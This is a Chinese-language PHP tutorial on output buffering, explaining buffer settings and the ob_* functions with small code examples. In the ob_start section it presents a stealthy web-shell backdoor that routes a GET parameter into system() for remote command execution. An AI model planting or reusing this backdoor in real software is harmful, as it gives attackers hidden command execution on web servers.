PHP的输出控制

来源:互联网 发布:人工智能 数据挖掘 编辑:程序博客网 时间:2024/04/29 19:39

php的输出缓存是什么:

说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。buffer是一个内存地址空间,Linux系统默认大小一般为4096(1kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的 设备之间传办理数据的区域。通过buffer,可以使进程这间的相互等待变少。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。同样的道理,在PHP中,当执行echo,print的时候,输出并没有立即通过tcp传给客户端浏览器显示, 而是将数据写入php buffer。php output_buffering机制,意味在tcp buffer之前,建立了一新的队列,数据必须经过该队列。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核交由tcp传给浏览器显示。所以,数据会依次写到这几个地方echo/pring -> php buffer -> tcp buffer -> browser。

php的输出缓存做什么用:

1、在PHP中,像header(), session_start(), setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。

2、对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。

3、捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。

4、对一些数据进行实时的输出。

php.ini 中的相关配置项:

php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering  , output_handler  和 implicit_flush

1、output_buffering   默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数。

2、output_handler  默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似,下面会介绍到。

3、implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

Output Control 函数详解:


1、bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

<?phpob_start('handleString');echo '123456';  function handleString($string){  return md5($string);}?>
输出结果为:e10adc3949ba59abbe56e057f20f883e,说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

<?phpob_start('ob_gzhandler');echo str_repeat('oschina', 1024);?>

可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数,则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:
1、ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。

2、ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

<?php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>
应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

2.、string ob_get_contents ( void )  此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

<?phpecho str_pad('', 1024);//使缓冲区溢出ob_start();//打开缓冲区phpinfo();$string = ob_get_contents();//获取缓冲区内容$re = fopen('./phpinfo.txt', 'wb');fwrite($re, $string);//将内容写入文件fclose($re);ob_end_clean();//清空并关闭缓冲区?>
运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

3、int ob_get_length ( void )  此函数用来获取缓冲区内容的长度:

<?phpecho str_pad('', 1024);//使缓冲区溢出ob_start();//打开缓冲区phpinfo();$length = ob_get_length();//获取缓冲区内容长度var_dump($length); //输出长度ob_end_flush();//输出并关闭缓冲区?>
4、int ob_get_level ( void )  在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:
<?phpob_start();var_dump(ob_get_level());ob_start();var_dump(ob_get_level());ob_end_flush();ob_end_flush();?>
5、array ob_get_status ([ bool $full_status = FALSE ] ) 此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

<?phpob_start(‘ob_gzhandler’);var_export(ob_get_status());ob_start();var_export(ob_get_status());ob_end_flush();ob_end_flush();?>
此脚本输出如下:

array (  'name' => 'ob_gzhandler',  'type' => 0,  'status' => 0,  'level' => 1,  'chunk_size' => 0,  'buffer_size' => 16384,  'buffer_used' => 0,  'del' => true,)array (  'name' => 'default output handler',  'type' => 0,  'status' => 0,  'level' => 2,  'chunk_size' => 0,  'buffer_size' => 16384,  'buffer_used' => 0,  'del' => true,)
level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。

type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。

status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束

name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。

del  为是否运行了删除缓冲区操作

6.、array ob_list_handlers ( void ) 

      函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering  则该函数将返回default output handler

7、void ob_flush ( void )

  此函数其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

8、void flush ( void )

  这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

9、void ob_implicit_flush ([ int $flag = true ] )

  此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。

10、bool ob_end_flush ( void )

  此函数将缓冲区的内容送出,并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

11、string ob_get_flush ( void )

  此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了。

12. void ob_clean ( void )

  此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

<?phpob_start();echo 'oschina';ob_clean();var_dump(ob_get_status());?>
13. bool ob_end_clean ( void )   此函数清空并关闭缓冲区,执行完此函数即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:
<?phpob_start();echo 'oschina';ob_end_clean();var_dump(ob_get_status());?>
14. string ob_get_clean ( void )

  此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();

<?phpob_start();echo 'oschina';$string = ob_get_clean();var_dump(ob_get_status());var_dump($string);?>
15. bool output_add_rewrite_var ( string $name , string $value )

  此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

16. bool output_reset_rewrite_vars ( void )

  此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量。


其他需要注意的地方:

1、在上面的例子中,我用echo str_pad('', 1024)输出了一个1024长度的空格,注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序,即使使用了ob_flush和flush函数,但仍然会缓存脚本的输出,所以必须先发送一段文本让其缓冲区溢出,才能继续实现我们的效果。大家在应用过程中一定要注意,如果测试中还有问题,可以将此值设置更大些,例如4096;

2、除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所有内容会自动输出到浏览器中。


文参考地址:http://www.admin10000.com/document/1100.html


0 0